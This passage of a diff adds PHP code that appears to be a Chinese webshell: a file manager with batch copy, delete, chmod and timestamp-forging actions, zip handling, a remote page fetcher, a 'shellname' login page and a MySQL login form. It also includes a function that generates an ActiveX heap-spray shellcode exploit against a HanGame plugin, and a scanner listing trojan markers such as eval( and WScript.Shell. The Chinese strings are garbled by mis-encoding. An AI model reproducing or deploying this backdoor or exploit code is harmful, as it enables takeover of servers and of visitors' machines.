$sub_file_num += listfiles("$dir/$file",$faisunZIP,$mydir); + } + else { + if(realpath($faisunZIP ->gzfilename)!=realpath($mydir."$dir/$file")){ + $faisunZIP -> addfile(file_get_contents($mydir.$dir."/".$file),"$dir/$file"); + $sub_file_num ++; + } + } + } + closedir($handle); + if(!$sub_file_num) $faisunZIP -> addfile("","$dir/"); + return $sub_file_num; + } + + function num_bitunit($num){ + $bitunit=array(' B',' KB',' MB',' GB'); + for($key=0;$key=pow(2,10*$key)-1){ //1023B ʾΪ 1KB + $num_bitunit_str=(ceil($num/pow(2,10*$key)*100)/100)." $bitunit[$key]"; + } + } + return $num_bitunit_str; + } + + $mydir=$REAL_DIR.'/'; + if(is_array($array)){ + $faisunZIP = new PHPzip; + if($faisunZIP -> startfile("$inver")){ + $filenum = 0; + foreach($array as $file){ + $filenum += listfiles($file,$faisunZIP,$mydir); + } + $faisunZIP -> createfile(); + return "ѹ, $filenum ļ.
    $inver (".num_bitunit(filesize("$inver")).")"; + }else{ + return "$inver д,·ȨǷȷ.
    "; + } + }else{ + return "ûѡļĿ¼.
    "; + } + + + } + $i = 0; + while($i < $count) + { + $array[$i] = urldecode($array[$i]); + switch($actall) + { + case "a" : $inver = urldecode($inver); if(!is_dir($inver)) return '·'; $filename = array_pop(explode('/',$array[$i])); @copy($array[$i],File_Str($inver.'/'.$filename)); $msg = 'Ƶ'.$inver.'Ŀ¼'; break; + case "b" : if(!@unlink($array[$i])){@chmod($filename,0666);@unlink($array[$i]);} $msg = 'ɾ'; break; + case "c" : if(!eregi("^[0-7]{4}$",$inver)) return 'ֵ'; $newmode = base_convert($inver,8,10); @chmod($array[$i],$newmode); $msg = '޸Ϊ'.$inver; break; + case "d" : @touch($array[$i],strtotime($inver)); $msg = '޸ʱΪ'.$inver; break; + } + $i++; + } + return 'ѡļ'.$msg.''; +} + + function start_unzip($tmp_name,$new_name,$todir='zipfile'){ + $z = new Zip; + $have_zip_file=0; + $upfile = array("tmp_name"=>$tmp_name,"name"=>$new_name); + if(is_file($upfile[tmp_name])){ + $have_zip_file = 1; + echo "
    ڽѹ: $upfile[name]

    "; + if(preg_match('/\.zip$/mis',$upfile[name])){ + $result=$z->Extract($upfile[tmp_name],$todir); + if($result==-1){ + echo "
    ļ $upfile[name] .
    "; + } + echo "
    , $z->total_folders Ŀ¼,$z->total_files ļ.


    "; + }else{ + echo "
    $upfile[name] zip ļ.

    "; + } + if(realpath($upfile[name])!=realpath($upfile[tmp_name])){ + @unlink($upfile[name]); + rename($upfile[tmp_name],$upfile[name]); + } + } + } + +function muma($filecode,$filetype){ + $dim = array( + "php" => array("eval(","exec("), + "asp" => array("WScript.Shell","execute(","createtextfile("), + "aspx" => array("Response.Write(eval(","RunCMD(","CreateText()"), + "jsp" => array("runtime.exec(") + ); + foreach($dim[$filetype] as $code){ + if(stristr($filecode,$code)) return true; + } +} + +function debug($file,$ftype){ + $type=explode('|',$ftype); + foreach($type as $i){ + if(stristr($file,$i)) return true; + } +} + +/*---string---*/ + +function str_path($path){ + return str_replace('//','/',$path); +} + +function msg($msg){ + die(""); +} + +function uppath($nowpath){ + $nowpath = str_replace('\\','/',dirname($nowpath)); + return urlencode($nowpath); +} + +function xxstr($key){ + $temp = str_replace("\\\\","\\",$key); + $temp = str_replace("\\","\\\\",$temp); + return $temp; +} + +/*---html---*/ + +function html_ta($url,$name){ + html_n("$name"); +} + +function html_a($url,$name,$where=''){ + html_n("$name "); +} + +function html_img($url){ + html_n(""); +} + +function back(){ + html_n(""); +} + +function html_radio($namei,$namet,$v1,$v2){ + html_n(''.$namei); + html_n(''.$namet.'

    '); +} + +function html_input($type,$name,$value = '',$text = '',$size = '',$mode = false){ + if($mode){ + html_n("$text"); + }else{ + html_n("$text "); + } +} + +function html_text($name,$cols,$rows,$value = ''){ + html_n("

    "); +} + +function html_select($array,$mode = '',$change = '',$name = 'class'){ + html_n(""); +} + +function html_font($color,$size,$name){ + html_n("$name"); +} + +function GetHtml($url) +{ + $c = ''; + $useragent = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2)'; + if(function_exists('fsockopen')){ + $link = parse_url($url); + $query=$link['path'].'?'.$link['query']; + $host=strtolower($link['host']); + $port=$link['port']; + if($port==""){$port=80;} + $fp = fsockopen ($host,$port, $errno, $errstr, 10); + if ($fp) + { + $out = "GET /{$query} HTTP/1.0\r\n"; + $out .= "Host: {$host}\r\n"; + $out .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2)\r\n"; + $out .= "Connection: Close\r\n\r\n"; + fwrite($fp, $out); + $inheader=1; + while(!feof($fp)) + {$line=fgets($fp,4096); + if($inheader==0){$contents.=$line;} + if ($inheader &&($line=="\n"||$line=="\r\n")){$inheader = 0;} + } + fclose ($fp); + $c= $contents; + } + } + if(empty($c) && function_exists('curl_init') && function_exists('curl_exec')){ + $ch = curl_init(); + curl_setopt($ch, CURLOPT_URL, $url); + curl_setopt($ch, CURLOPT_TIMEOUT, 15); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); + curl_setopt($ch, CURLOPT_USERAGENT, $useragent); + $c = curl_exec($ch); + curl_close($ch); + } + if(empty($c) && ini_get('allow_url_fopen')){ + $c = file_get_contents($url); + } + if(empty($c)){ + echo "document.write('
    ');"; + } + if(!empty($c)) + { + return $c; + } + } + +function html_main($path,$shellname){ +$serverip=gethostbyname($_SERVER['SERVER_NAME']); +print<<{$shellname} +
    {$serverip}
    +END; + html_n("
    "); +} + +function islogin($shellname,$myurl){ +print<<body,td{font-size: 12px;color:#00ff00;background-color:#000000;}input,select,textarea{font-size: 12px;background-color:#FFFFCC;border:1px solid #fff}.C{background-color:#000000;border:0px}.cmd{background-color:#000;color:#FFF}body{margin: 0px;margin-left:4px;}BODY {SCROLLBAR-FACE-COLOR: #232323; SCROLLBAR-HIGHLIGHT-COLOR: #232323; SCROLLBAR-SHADOW-COLOR: #383838; SCROLLBAR-DARKSHADOW-COLOR: #383838; SCROLLBAR-3DLIGHT-COLOR: #232323; SCROLLBAR-ARROW-COLOR: #FFFFFF;SCROLLBAR-TRACK-COLOR: #383838;}a{color:#ddd;text-decoration: none;}a:hover{color:red;background:#000}.am{color:#888;font-size:11px;} +

    {$shellname}




    ڷǷ;߸Ų
    +END; +} + +function html_sql(){ + html_input("text","sqlhost","localhost","
    MYSQLַ","30"); + html_input("text","sqlport","3306","
    MYSQL˿","30"); + html_input("text","sqluser","root","
    MYSQLû","30"); + html_input("password","sqlpass","","
    MYSQL","30"); + html_input("text","sqldb","dbname","
    MYSQL","30"); + html_input("submit","sqllogin","½","
    "); + html_n(''); +} + +function Mysql_Len($data,$len) +{ + if(strlen($data) < $len) return $data; + return substr_replace($data,'...',$len); +} + +function html_n($data){ + echo "$data\n"; +} + +/*---css---*/ + +function css_img($img){ + $images = array( + "exe"=> + "R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7". + "WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt". + "xhIAOw==", + "dir"=>"R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAA". + "AAAAAAAAAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdE". + "oMqCebp/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=", + "txt"=> + "R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ". + "SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7". + "UpPWG3Ig6Hq/XmRjuZwkAAA7", + "html"=> + "R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz". + "c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P". + "KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk". + "Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR". + "ADs=", + "js"=> + "R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH". + "k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs". + "a00AjYYBbc/o9HjNniUAADs=", + "xml"=> + "R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA". + "gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + "AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx". + "OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ". + "IQA7", + "mp3"=> + "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU". + "aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc". + "IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=", + "img"=> + "R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA". + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci". + "Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd". + "FxEAOw==", + "title"=>"R0lGODlhDgAOAMQAAOGmGmZmZv//xVVVVeW6E+K2F/+ZAHNzcf+vAGdnaf/AAHt1af+". + "mAP/FAP61AHt4aXNza+WnFP//zAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + "ACH5BAAHAP8ALAAAAAAOAA4AAAVJYPIcZGk+wUM0bOsWoyu35KzceO3sjsTvDR1P4uMFDw2EEkGUL". + "I8NhpTRnEKnVAkWaugaJN4uN0y+kr2M4CIycwEWg4VpfoCHAAA7", + "rar"=>"R0lGODlhEAAQAPf/AAAAAAAAgAAA/wCAAAD/AACAgIAAAIAAgP8A/4CAAP//AMDAwP///wAA". + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/ACH5BAEKAP8ALAAAAAAQABAAAAiFAP0YEEhwoEE/". + "/xIuEJhgQYKDBxP+W2ig4cOCBCcyoHjAQMePHgf6WbDxgAIEKFOmHDmSwciQIDsiXLgwgZ+b". + "OHOSXJiz581/LRcE2LigqNGiLEkKWCCgqVOnM1naDOCHqtWbO336BLpzgAICYMOGRdgywIIC". + "aNOmRcjVj02tPxPCzfkvIAA7" + ); + header('Content-type: image/gif'); + echo base64_decode($images[$img]); + die(); +} + +function css_showimg($file){ + $it=substr($file,-3); + switch($it){ + case "jpg": case "gif": case "bmp": case "png": case "ico": return 'img';break; + case "htm": case "tml": return 'html';break; + case "exe": case "com": return 'exe';break; + case "xml": case "doc": return 'xml';break; + case ".js": case "vbs": return 'js';break; + case "mp3": case "wma": case "wav": case "swf": case ".rm": case "avi":case "mp4":case "mvb": return 'mp3';break; + case "rar": case "tar": case ".gz": case "zip":case "iso": return 'rar';break; + default: return 'txt';break; + } +} + +function css_js($num,$code = ''){ + if($num == "shellcode"){ + return '<%@ LANGUAGE="JavaScript" %> + <% + var act=new ActiveXObject("HanGamePluginCn18.HanGamePluginCn18.1"); + var shellcode = unescape("'.$code.'"); + var bigblock = unescape("%u9090%u9090"); + var headersize = 20; + var slackspace = headersize+shellcode.length; + while (bigblock.length'; + } + html_n(''); +} + +function css_left(){ + html_n(''); + html_n('